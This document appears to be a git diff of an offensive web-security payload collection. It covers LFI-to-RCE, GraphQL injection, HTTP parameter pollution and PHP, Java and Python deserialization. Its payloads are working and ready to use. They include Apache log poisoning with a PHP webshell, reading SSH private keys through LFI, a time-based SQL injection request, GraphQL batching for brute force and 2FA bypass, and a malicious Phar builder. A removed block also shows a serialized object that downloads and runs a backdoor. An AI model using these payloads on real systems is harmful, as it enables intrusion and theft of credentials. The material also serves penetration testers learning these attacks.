* Upload a file, it should be stored in the temp folder `C:\Windows\Temp\`.
|
||||
* Include it using `http://site/vuln.php?inc=c:\windows\temp\php<<`
|
||||
|
||||
|
||||
## LFI to RCE via phpinfo()
|
||||
|
||||
https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
|
||||
PHPinfo() displays the content of any variables such as **$_GET**, **$_POST** and **$_FILES**.
|
||||
|
||||
> By making multiple upload posts to the PHPInfo script, and carefully controlling the reads, it is possible to retrieve the name of the temporary file and make a request to the LFI script specifying the temporary file name.
|
||||
|
||||
Use the script phpInfoLFI.py (also available at https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
|
||||
|
||||
Research from https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
|
||||
|
||||
## LFI to RCE via controlled log file
|
||||
|
||||
Just append your PHP code into the log file by doing a request to the service (Apache, SSH..) and include the log file.
|
||||
@@ -281,6 +300,8 @@ Just append your PHP code into the log file by doing a request to the service (A
|
||||
```powershell
|
||||
http://example.com/index.php?page=/var/log/apache/access.log
|
||||
http://example.com/index.php?page=/var/log/apache/error.log
|
||||
http://example.com/index.php?page=/var/log/apache2/access.log
|
||||
http://example.com/index.php?page=/var/log/apache2/error.log
|
||||
http://example.com/index.php?page=/var/log/nginx/access.log
|
||||
http://example.com/index.php?page=/var/log/nginx/error.log
|
||||
http://example.com/index.php?page=/var/log/vsftpd.log
|
||||
@@ -334,6 +355,22 @@ In some cases you can also send the email with the `mail` command line.
|
||||
mail -s "<?php system($_GET['cmd']);?>" www-data@10.10.10.10. < /dev/null
|
||||
```
|
||||
|
||||
### RCE via Apache logs
|
||||
|
||||
Poison the User-Agent in access logs:
|
||||
|
||||
```
|
||||
$ curl http://example.org/ -A "<?php system(\$_GET['cmd']);?>"
|
||||
```
|
||||
|
||||
Note: The logs will escape double quotes so use single quotes for strings in the PHP payload.
|
||||
|
||||
Then request the logs via the LFI and execute your command.
|
||||
|
||||
```
|
||||
$ curl http://example.org/test.php?page=/var/log/apache2/access.log&cmd=id
|
||||
```
|
||||
|
||||
## LFI to RCE via PHP sessions
|
||||
|
||||
Check if the website use PHP Session (PHPSESSID)
|
||||
@@ -343,7 +380,7 @@ Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||||
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||||
```
|
||||
|
||||
In PHP these sessions are stored into /var/lib/php5/sess_[PHPSESSID] files
|
||||
In PHP these sessions are stored into /var/lib/php5/sess_[PHPSESSID] or /var/lib/php/session/sess_[PHPSESSID] files
|
||||
|
||||
```javascript
|
||||
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
||||
@@ -387,6 +424,9 @@ http://example.com/index.php?page=../../../../../../etc/shadow
|
||||
|
||||
Then crack the hashes inside in order to login via SSH on the machine.
|
||||
|
||||
Another way to gain SSH access to a Linux machine through LFI is by reading the private key file, id_rsa.
|
||||
If SSH is active check which user is being used `/proc/self/status` and `/etc/passwd` and try to access `/<HOME>/.ssh/id_rsa`.
|
||||
|
||||
## References
|
||||
|
||||
* [OWASP LFI](https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion)
|
||||
@@ -401,6 +441,7 @@ Then crack the hashes inside in order to login via SSH on the machine.
|
||||
* [Чтение файлов => unserialize !](https://rdot.org/forum/showthread.php?t=4379)
|
||||
* [New PHP Exploitation Technique - 14 Aug 2018 by Dr. Johannes Dahse](https://blog.ripstech.com/2018/new-php-exploitation-technique/)
|
||||
* [It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It, Sam Thomas](https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf)
|
||||
* [Local file inclusion mini list - Penetrate.io](https://penetrate.io/2014/09/25/local-file-inclusion-mini-list/)
|
||||
* [CVV #1: Local File Inclusion - @SI9INT - Jun 20, 2018](https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a)
|
||||
* [Exploiting Remote File Inclusion (RFI) in PHP application and bypassing remote URL inclusion restriction](http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html?m=1)
|
||||
* [PHP LFI with Nginx Assistance](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
|
||||
* [PHP LFI to arbitratry code execution via rfc1867 file upload temporary files (EN) - gynvael.coldwind - 2011-03-18](https://gynvael.coldwind.pl/?id=376)
|
||||
|
||||
@@ -1,7 +1,9 @@
|
||||
#!/usr/bin/python
|
||||
# https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
|
||||
# The following line is not required but supposedly optimizes code.
|
||||
# However, this breaks on some Python 2 installations, where the future module version installed is > 0.16. This can be a pain to revert.
|
||||
# from builtins import range
|
||||
from __future__ import print_function
|
||||
from builtins import range
|
||||
import sys
|
||||
import threading
|
||||
import socket
|
||||
|
||||
@@ -10,17 +10,26 @@
|
||||
* [Identify an injection point](#identify-an-injection-point)
|
||||
* [Enumerate Database Schema via Instropection](#enumerate-database-schema-via-introspection)
|
||||
* [Extract data](#extract-data)
|
||||
* [Extract data using edges/nodes](#extract-data-using-edges-nodes)
|
||||
* [Extract data using projections](#extract-data-using-projections)
|
||||
* [Enumerate the types' definition](#enumerate-the-type-definition)
|
||||
* [Use mutations](#use-mutations)
|
||||
* [NOSQL injection](#nosql-injection)
|
||||
* [SQL injection](#sql-injection)
|
||||
* [GraphQL Batching Attacks](#graphql-batching-attacks)
|
||||
* [References](#references)
|
||||
|
||||
## Tools
|
||||
|
||||
* [GraphQLmap - Scripting engine to interact with a graphql endpoint for pentesting purposes](https://github.com/swisskyrepo/GraphQLmap)
|
||||
* [GraphQL-voyager - Represent any GraphQL API as an interactive graph](https://apis.guru/graphql-voyager/)
|
||||
* [GraphQL Security Toolkit - GraphQL Security Research Material](https://github.com/doyensec/graph-ql/)
|
||||
* [Graphql-path-enum - Lists the different ways of reaching a given type in a GraphQL schema](https://gitlab.com/dee-see/graphql-path-enum)
|
||||
* [GraphQL IDE - An extensive IDE for exploring GraphQL API's](https://github.com/andev-software/graphql-ide)
|
||||
* [ClairvoyanceX - Obtain GraphQL API schema despite disabled introspection](https://github.com/mchoji/clairvoyancex)
|
||||
* [InQL - A Burp Extension for GraphQL Security Testing](https://github.com/doyensec/inql)
|
||||
* [Insomnia - Cross-platform HTTP and GraphQL Client](https://insomnia.rest/)
|
||||
* [AutoGraphql + introspection](https://graphql-dashboard.herokuapp.com/)
|
||||
|
||||
## Exploit
|
||||
|
||||
@@ -149,6 +158,34 @@ query IntrospectionQuery {
|
||||
}
|
||||
```
|
||||
|
||||
Single line query to dump the database schema without fragments.
|
||||
|
||||
```js
|
||||
__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,description,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},isDeprecated,deprecationReason},inputFields{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},interfaces{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},enumValues(includeDeprecated:true){name,description,isDeprecated,deprecationReason,},possibleTypes{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}}},directives{name,description,locations,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue}}}
|
||||
```
|
||||
|
||||
### List path
|
||||
|
||||
```php
|
||||
$ git clone https://gitlab.com/dee-see/graphql-path-enum
|
||||
$ graphql-path-enum -i ./test_data/h1_introspection.json -t Skill
|
||||
Found 27 ways to reach the "Skill" node from the "Query" node:
|
||||
- Query (assignable_teams) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
|
||||
- Query (checklist_check) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
|
||||
- Query (checklist_check_response) -> ChecklistCheckResponse (checklist_check) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
|
||||
- Query (checklist_checks) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
|
||||
- Query (clusters) -> Cluster (weaknesses) -> Weakness (critical_reports) -> TeamMemberGroupConnection (edges) -> TeamMemberGroupEdge (node) -> TeamMemberGroup (team_members) -> TeamMember (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
|
||||
- Query (embedded_submission_form) -> EmbeddedSubmissionForm (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
|
||||
- Query (external_program) -> ExternalProgram (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
|
||||
- Query (external_programs) -> ExternalProgram (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
|
||||
- Query (job_listing) -> JobListing (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
|
||||
- Query (job_listings) -> JobListing (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
|
||||
- Query (me) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
|
||||
- Query (pentest) -> Pentest (lead_pentester) -> Pentester (user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
|
||||
- Query (pentests) -> Pentest (lead_pentester) -> Pentester (user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
|
||||
- Query (query) -> Query (assignable_teams) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
|
||||
- Query (query) -> Query (skills) -> Skill
|
||||
```
|
||||
|
||||
### Extract data
|
||||
|
||||
@@ -159,6 +196,32 @@ example.com/graphql?query={TYPE_1{FIELD_1,FIELD_2}}
|
||||

|
||||
|
||||
|
||||
|
||||
### Extract data using edges/nodes
|
||||
|
||||
```json
|
||||
{
|
||||
"query": "query {
|
||||
teams{
|
||||
total_count,edges{
|
||||
node{
|
||||
id,_id,about,handle,state
|
||||
}
|
||||
}
|
||||
}
|
||||
}"
|
||||
}
|
||||
```
|
||||
|
||||
### Extract data using projections
|
||||
|
||||
:warning: Don’t forget to escape the " inside the **options**.
|
||||
|
||||
```json
|
||||
{doctors(options: "{\"patients.ssn\" :1}"){firstName lastName id patients{ssn}}}
|
||||
```
|
||||
|
||||
|
||||
### Enumerate the types' definition
|
||||
|
||||
Enumerate the definition of interesting types using the following GraphQL query, replacing "User" with the chosen type
|
||||
@@ -194,12 +257,55 @@ Use `$regex`, `$ne` from []() inside a `search` parameter.
|
||||
|
||||
### SQL injection
|
||||
|
||||
Send a single quote `'` inside a graphql parameter to trigger the SQL injection
|
||||
|
||||
```powershell
|
||||
{
|
||||
bacon(id: "1'") {
|
||||
id,
|
||||
type,
|
||||
price
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Simple SQL injection inside a graphql field.
|
||||
|
||||
```powershell
|
||||
curl -X POST http://localhost:8080/graphql\?embedded_submission_form_uuid\=1%27%3BSELECT%201%3BSELECT%20pg_sleep\(30\)%3B--%27
|
||||
```
|
||||
|
||||
### GraphQL Batching Attacks
|
||||
|
||||
Common scenario:
|
||||
* Password Brute-force Amplification Scenario
|
||||
* 2FA bypassing
|
||||
|
||||
```powershell
|
||||
mutation finishChannelVerificationMutation(
|
||||
$input FinishChannelVerificationInput!,
|
||||
$input2 FinishChannelVerificationInput!,
|
||||
$input3 FinishChannelVerificationInput!,
|
||||
){
|
||||
first: finishChannelVerificationMutation(input: $input){
|
||||
channel{
|
||||
id
|
||||
option{
|
||||
... onChannelSmsOptions{
|
||||
number
|
||||
}
|
||||
}
|
||||
status
|
||||
notificationSubscription(last: 1000){ etc... }
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
second: finishChannelVerificationMutation(input: $input2){...}
|
||||
third: finishChannelVerificationMutation(input: $input3){...}
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
## References
|
||||
|
||||
@@ -215,3 +321,6 @@ curl -X POST http://localhost:8080/graphql\?embedded_submission_form_uuid\=1%27%
|
||||
* [How to set up a GraphQL Server using Node.js, Express & MongoDB - 5 NOVEMBER 2018 - Leonardo Maldonado](https://www.freecodecamp.org/news/how-to-set-up-a-graphql-server-using-node-js-express-mongodb-52421b73f474/)
|
||||
* [GraphQL cheatsheet - DEVHINTS.IO](https://devhints.io/graphql)
|
||||
* [HIP19 Writeup - Meet Your Doctor 1,2,3 - June 22, 2019 - Swissky](https://swisskyrepo.github.io/HIP19-MeetYourDoctor/)
|
||||
* [Introspection query leaks sensitive graphql system information - @Zuriel](https://hackerone.com/reports/291531)
|
||||
* [Graphql Bug to Steal Anyone’s Address - Sept 1, 2019 - Pratik Yadav](https://medium.com/@pratiky054/graphql-bug-to-steal-anyones-address-fc34f0374417)
|
||||
* [GraphQL Batching Attack - RENATAWALLARM - DECEMBER 13, 2019](https://lab.wallarm.com/graphql-batching-attack/)
|
||||
|
||||
49
HTTP Parameter Pollution/README.md
Normal file
@@ -0,0 +1,49 @@
|
||||
# HTTP Parameter Pollution
|
||||
|
||||
|
||||
## Summary
|
||||
|
||||
HTTP Parameter Pollution (HPP) is a Web attack evasion technique that allows an attacker to craft a HTTP request in order to manipulate web logics or retrieve hidden information. This evasion technique is based on splitting an attack vector between multiple instances of a parameter with the same name (?param1=value¶m1=value). As there is no formal way of parsing HTTP parameters, individual web technologies have their own unique way of parsing and reading URL parameters with the same name. Some taking the first occurance, some taking the last occurance, and some reading it as an array. This behavior is abused by the attacker in order to bypass pattern-based security mechanisms.
|
||||
|
||||
|
||||
## Tools
|
||||
|
||||
No tools needed. Maybe Burp or OWASP ZAP.
|
||||
|
||||
## How to test
|
||||
|
||||
HPP allows an attacker to bypass pattern based/black list proxies or Web Application Firewall detection mechanisms. This can be done with or without the knowledge of the web technology behind the proxy, and can be achieved through simple trial and error.
|
||||
|
||||
```
|
||||
Example scenario.
|
||||
WAF - Reads first param
|
||||
Origin Service - Reads second param. In this scenario, developer trusted WAF and did not implement sanity checks.
|
||||
|
||||
Attacker -- http://example.com?search=Beth&search=' OR 1=1;## --> WAF (reads first 'search' param, looks innocent. passes on) --> Origin Service (reads second 'search' param, injection happens if no checks are done here.)
|
||||
```
|
||||
|
||||
### Table of refence for which technology reads which parameter
|
||||
When ?par1=a&par1=b
|
||||
| Technology | Parsing Result |outcome (par1=)|
|
||||
| ------------------ |--------------- |:-------------:|
|
||||
| ASP.NET/IIS |All occurrences |a,b |
|
||||
| ASP/IIS |All occurrences |a,b |
|
||||
| PHP/Apache |Last occurrence |b |
|
||||
| PHP/Zues |Last occurrence |b |
|
||||
| JSP,Servlet/Tomcat |First occurrence |a |
|
||||
| Perl CGI/Apache |First occurrence |a |
|
||||
| Python Flask |First occurrence |a |
|
||||
| Python Django |Last occurrence |b |
|
||||
| Nodejs |All occurrences |a,b |
|
||||
| Golang net/http - `r.URL.Query().Get("param")` |First occurrence |a |
|
||||
| Golang net/http - `r.URL.Query()["param"]` |All occurrences |a,b |
|
||||
| IBM Lotus Domino |First occurrence |a |
|
||||
| IBM HTTP Server |First occurrence |a |
|
||||
| Perl CGI/Apache |First occurrence |a |
|
||||
| mod_wsgi (Python)/Apache |First occurrence |a |
|
||||
| Python/Zope |All occurences in array |['a','b'] |
|
||||
|
||||
## References
|
||||
- [HTTP Parameter Pollution - Imperva](https://www.imperva.com/learn/application-security/http-parameter-pollution/)
|
||||
- [HTTP Parameter Pollution in 11 minutes | Web Hacking - PwnFunction](https://www.youtube.com/watch?v=QVZBl8yxVX0&ab_channel=PwnFunction)
|
||||
- [How to Detect HTTP Parameter Pollution Attacks - Acunetix](https://www.acunetix.com/blog/whitepaper-http-parameter-pollution/)
|
||||
@@ -50,7 +50,7 @@ Spring2 |@mbechler |spring-core:4.1.4.RELEASE, spr
|
||||
URLDNS |@gebl| | jre only vuln detect
|
||||
Wicket1 |@jacob-baines |wicket-util:6.23.0, slf4j-api:1.6.4
|
||||
|
||||
Additional tools (integration ysoserial with Burp Suite):
|
||||
## Burp extensions using ysoserial
|
||||
|
||||
- [JavaSerialKiller](https://github.com/NetSPI/JavaSerialKiller)
|
||||
- [Java Deserialization Scanner](https://github.com/federicodotta/Java-Deserialization-Scanner)
|
||||
@@ -58,10 +58,43 @@ Additional tools (integration ysoserial with Burp Suite):
|
||||
- [SuperSerial](https://github.com/DirectDefense/SuperSerial)
|
||||
- [SuperSerial-Active](https://github.com/DirectDefense/SuperSerial-Active)
|
||||
|
||||
JRE8u20_RCE_Gadget
|
||||
[https://github.com/pwntester/JRE8u20_RCE_Gadget](https://github.com/pwntester/JRE8u20_RCE_Gadget)
|
||||
## Other tools
|
||||
|
||||
- [JRE8u20_RCE_Gadget](https://github.com/pwntester/JRE8u20_RCE_Gadget)
|
||||
- [JexBoss](https://github.com/joaomatosf/jexboss) - JBoss (and others Java Deserialization Vulnerabilities) verify and EXploitation Tool
|
||||
- [ysoserial-modified](https://github.com/pimps/ysoserial-modified)
|
||||
- [gadgetprobe](https://labs.bishopfox.com/gadgetprobe)
|
||||
- [marshalsec](https://github.com/mbechler/marshalsec) - Turning your data into code execution
|
||||
|
||||
```java
|
||||
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
|
||||
|
||||
where
|
||||
-a - generates/tests all payloads for that marshaller
|
||||
-t - runs in test mode, unmarshalling the generated payloads after generating them.
|
||||
-v - verbose mode, e.g. also shows the generated payload in test mode.
|
||||
gadget_type - Identifier of a specific gadget, if left out will display the available ones for that specific marshaller.
|
||||
arguments - Gadget specific arguments
|
||||
```
|
||||
|
||||
Payload generators for the following marshallers are included:<br />
|
||||
|
||||
| Marshaller | Gadget Impact
|
||||
| ------------------------------- | ----------------------------------------------
|
||||
| BlazeDSAMF(0|3|X) | JDK only escalation to Java serialization<br/>various third party libraries RCEs
|
||||
| Hessian|Burlap | various third party RCEs
|
||||
| Castor | dependency library RCE
|
||||
| Jackson | **possible JDK only RCE**, various third party RCEs
|
||||
| Java | yet another third party RCE
|
||||
| JsonIO | **JDK only RCE**
|
||||
| JYAML | **JDK only RCE**
|
||||
| Kryo | third party RCEs
|
||||
| KryoAltStrategy | **JDK only RCE**
|
||||
| Red5AMF(0|3) | **JDK only RCE**
|
||||
| SnakeYAML | **JDK only RCEs**
|
||||
| XStream | **JDK only RCEs**
|
||||
| YAMLBeans | third party RCE
|
||||
|
||||
JexBoss - JBoss (and others Java Deserialization Vulnerabilities) verify and EXploitation Tool, [https://github.com/joaomatosf/jexboss](https://github.com/joaomatosf/jexboss)
|
||||
|
||||
## References
|
||||
|
||||
@@ -70,3 +103,6 @@ JexBoss - JBoss (and others Java Deserialization Vulnerabilities) verify and EXp
|
||||
- [Understanding & practicing java deserialization exploits](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
|
||||
- [How i found a 1500$ worth Deserialization vulnerability - @D0rkerDevil](https://medium.com/@D0rkerDevil/how-i-found-a-1500-worth-deserialization-vulnerability-9ce753416e0a)
|
||||
- [Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - 14 Aug 2017, Peter Stöckli](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
|
||||
- [Jackson CVE-2019-12384: anatomy of a vulnerability class](https://blog.doyensec.com/2019/07/22/jackson-gadgets.html)
|
||||
- [On Jackson CVEs: Don’t Panic — Here is what you need to know](https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062#da96)
|
||||
- [Pre-auth RCE in ForgeRock OpenAM (CVE-2021-35464) - Michael Stepankin / @artsploit - 29 June 2021](https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464)
|
||||
@@ -10,7 +10,16 @@ The following magic methods will help you for a PHP Object injection
|
||||
|
||||
Also you should check the `Wrapper Phar://` in [File Inclusion](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#wrapper-phar) which use a PHP object injection.
|
||||
|
||||
## __wakeup in the unserialize function
|
||||
## Summary
|
||||
|
||||
* [General concept](#general-concept)
|
||||
* [Authentication bypass](#authentication-bypass)
|
||||
* [Finding and using gadgets](#finding-and-using-gadgets)
|
||||
* [Real world examples](#real-world-examples)
|
||||
* [PHP Phar Deserialization](#php-phar-deserialization)
|
||||
* [References](#references)
|
||||
|
||||
## General concept
|
||||
|
||||
Vulnerable code:
|
||||
|
||||
@@ -38,7 +47,7 @@ Vulnerable code:
|
||||
?>
|
||||
```
|
||||
|
||||
Payload:
|
||||
Craft a payload using existing code inside the application.
|
||||
|
||||
```php
|
||||
# Basic serialized data
|
||||
@@ -102,36 +111,16 @@ Payload:
|
||||
O:6:"Object":2:{s:10:"secretCode";N;s:4:"guess";R:2;}
|
||||
```
|
||||
|
||||
## Others exploits
|
||||
|
||||
Reverse Shell
|
||||
We can do an array to like this:
|
||||
|
||||
```php
|
||||
class PHPObjectInjection
|
||||
{
|
||||
// CHANGE URL/FILENAME TO MATCH YOUR SETUP
|
||||
public $inject = "system('wget http://URL/backdoor.txt -O phpobjbackdoor.php && php phpobjbackdoor.php');";
|
||||
}
|
||||
|
||||
echo urlencode(serialize(new PHPObjectInjection));
|
||||
```
|
||||
|
||||
Basic detection
|
||||
|
||||
```php
|
||||
class PHPObjectInjection
|
||||
{
|
||||
// CHANGE URL/FILENAME TO MATCH YOUR SETUP
|
||||
public $inject = "system('cat /etc/passwd');";
|
||||
}
|
||||
|
||||
echo urlencode(serialize(new PHPObjectInjection));
|
||||
//O%3A18%3A%22PHPObjectInjection%22%3A1%3A%7Bs%3A6%3A%22inject%22%3Bs%3A26%3A%22system%28%27cat+%2Fetc%2Fpasswd%27%29%3B%22%3B%7D
|
||||
//'O:18:"PHPObjectInjection":1:{s:6:"inject";s:26:"system(\'cat+/etc/passwd\');";}'
|
||||
a:2:{s:10:"admin_hash";N;s:4:"hmac";R:2;}
|
||||
```
|
||||
|
||||
## Finding and using gadgets
|
||||
|
||||
Also called "PHP POP Chains", they can be used to gain RCE on the system.
|
||||
|
||||
[PHPGGC](https://github.com/ambionics/phpggc) is a tool built to generate the payload based on several frameworks:
|
||||
|
||||
- Laravel
|
||||
@@ -146,6 +135,50 @@ echo urlencode(serialize(new PHPObjectInjection));
|
||||
phpggc monolog/rce1 'phpinfo();' -s
|
||||
```
|
||||
|
||||
## PHP Phar Deserialization
|
||||
|
||||
Using `phar://` wrapper, one can trigger a deserialization on the specified file like in `file_get_contents("phar://./archives/app.phar")`.
|
||||
|
||||
A valid PHAR includes four elements:
|
||||
|
||||
1. Stub
|
||||
2. Manifest
|
||||
3. File Contents
|
||||
4. Signature
|
||||
|
||||
Example of a Phar creation in order to exploit a custom `PDFGenerator`.
|
||||
|
||||
```php
|
||||
<?php
|
||||
class PDFGenerator { }
|
||||
|
||||
//Create a new instance of the Dummy class and modify its property
|
||||
$dummy = new PDFGenerator();
|
||||
$dummy->callback = "passthru";
|
||||
$dummy->fileName = "uname -a > pwned"; //our payload
|
||||
|
||||
// Delete any existing PHAR archive with that name
|
||||
@unlink("poc.phar");
|
||||
|
||||
// Create a new archive
|
||||
$poc = new Phar("poc.phar");
|
||||
|
||||
// Add all write operations to a buffer, without modifying the archive on disk
|
||||
$poc->startBuffering();
|
||||
|
||||
// Set the stub
|
||||
$poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();");
|
||||
|
||||
/* Add a new file in the archive with "text" as its content*/
|
||||
$poc["file"] = "text";
|
||||
// Add the dummy object to the metadata. This will be serialized
|
||||
$poc->setMetadata($dummy);
|
||||
// Stop buffering and write changes to disk
|
||||
$poc->stopBuffering();
|
||||
?>
|
||||
```
|
||||
|
||||
|
||||
## Real world examples
|
||||
|
||||
* [Vanilla Forums ImportController index file_exists Unserialize Remote Code Execution Vulnerability - Steven Seeley](https://hackerone.com/reports/410237)
|
||||
@@ -156,10 +189,14 @@ phpggc monolog/rce1 'phpinfo();' -s
|
||||
## References
|
||||
|
||||
* [PHP Object Injection - OWASP](https://www.owasp.org/index.php/PHP_Object_Injection)
|
||||
* [PHP Object Injection - Thin Ba Shane](http://location-href.com/php-object-injection/)
|
||||
* [Utilizing Code Reuse/ROP in PHP](https://owasp.org/www-pdf-archive/Utilizing-Code-Reuse-Or-Return-Oriented-Programming-In-PHP-Application-Exploits.pdf)
|
||||
* [PHP unserialize](http://php.net/manual/en/function.unserialize.php)
|
||||
* [PHP Generic Gadget - ambionics security](https://www.ambionics.io/blog/php-generic-gadget-chains)
|
||||
* [POC2009 Shocking News in PHP Exploitation](https://www.owasp.org/images/f/f6/POC2009-ShockingNewsInPHPExploitation.pdf)
|
||||
* [PHP Internals Book - Serialization](http://www.phpinternalsbook.com/classes_objects/serialization.html)
|
||||
* [TSULOTT Web challenge write-up from MeePwn CTF 1st 2017 by Rawsec](https://rawsec.ml/en/MeePwn-2017-write-ups/#tsulott-web)
|
||||
* [TSULOTT Web challenge write-up from MeePwn CTF 1st 2017 by Rawsec](https://rawsec.ml/en/meepwn-2017-write-ups/#TSULOTT-Web)
|
||||
* [CTF writeup: PHP object injection in kaspersky CTF](https://medium.com/@jaimin_gohel/ctf-writeup-php-object-injection-in-kaspersky-ctf-28a68805610d)
|
||||
* [Jack The Ripper Web challeneg Write-up from ECSC 2019 Quals Team France by Rawsec](https://rawsec.ml/en/ecsc-2019-quals-write-ups/#164-Jack-The-Ripper-Web)
|
||||
* [Rusty Joomla RCE Unserialize overflow](https://blog.hacktivesecurity.com/index.php?controller=post&action=view&id_post=41)
|
||||
* [PHP Pop Chains - Achieving RCE with POP chain exploits. - Vickie Li - September 3, 2020](https://vkili.github.io/blog/insecure%20deserialization/pop-chains/)
|
||||
* [How to exploit the PHAR Deserialization Vulnerability - Alexandru Postolache - May 29, 2020](https://pentest-tools.com/blog/exploit-phar-deserialization-vulnerability/)
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
## Pickle
|
||||
|
||||
The following code is a simple example of using `cPickle` in order to generate an auth_token which is a serialized User object.
|
||||
:warning: `import cPickle` will only work on Python 2
|
||||
|
||||
```python
|
||||
import cPickle
|
||||
@@ -32,7 +33,7 @@ Python 2.7 documentation clearly states Pickle should never be used with untrust
|
||||
> The pickle module is not secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.
|
||||
|
||||
```python
|
||||
import cPickle
|
||||
import cPickle, os
|
||||
from base64 import b64encode, b64decode
|
||||
|
||||
class Evil(object):
|
||||
|
||||
@@ -12,6 +12,7 @@ Check the following sub-sections, located in other files :
|
||||
## References
|
||||
|
||||
* [Github - ysoserial](https://github.com/frohoff/ysoserial)
|
||||
* [Github - ysoserial.net](https://github.com/pwntester/ysoserial.net)
|
||||
* [Java-Deserialization-Cheat-Sheet - GrrrDog](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md)
|
||||
* [Understanding & practicing java deserialization exploits](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
|
||||
* [How i found a 1500$ worth Deserialization vulnerability - @D0rkerDevil](https://medium.com/@D0rkerDevil/how-i-found-a-1500-worth-deserialization-vulnerability-9ce753416e0a)
|
||||
@@ -23,5 +24,8 @@ Check the following sub-sections, located in other files :
|
||||
* [RUBY 2.X UNIVERSAL RCE DESERIALIZATION GADGET CHAIN - elttam, Luke Jahnke](https://www.elttam.com.au/blog/ruby-deserialization/)
|
||||
* [Java Deserialization in manager.paypal.com](http://artsploit.blogspot.hk/2016/01/paypal-rce.html) by Michael Stepankin
|
||||
* [Instagram's Million Dollar Bug](http://www.exfiltrated.com/research-Instagram-RCE.php) by Wesley Wineberg
|
||||
* [(Ruby Cookie Deserialization RCE on facebooksearch.algolia.com](https://hackerone.com/reports/134321) by Michiel Prins (michiel)
|
||||
* [Ruby Cookie Deserialization RCE on facebooksearch.algolia.com](https://hackerone.com/reports/134321) by Michiel Prins (michiel)
|
||||
* [Java deserialization](https://seanmelia.wordpress.com/2016/07/22/exploiting-java-deserialization-via-jboss/) by meals
|
||||
* [Diving into unserialize() - Sep 19- Vickie Li](https://medium.com/swlh/diving-into-unserialize-3586c1ec97e)
|
||||
* [.NET Gadgets](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) by Alvaro Muñoz (@pwntester) & OleksandrMirosh
|
||||
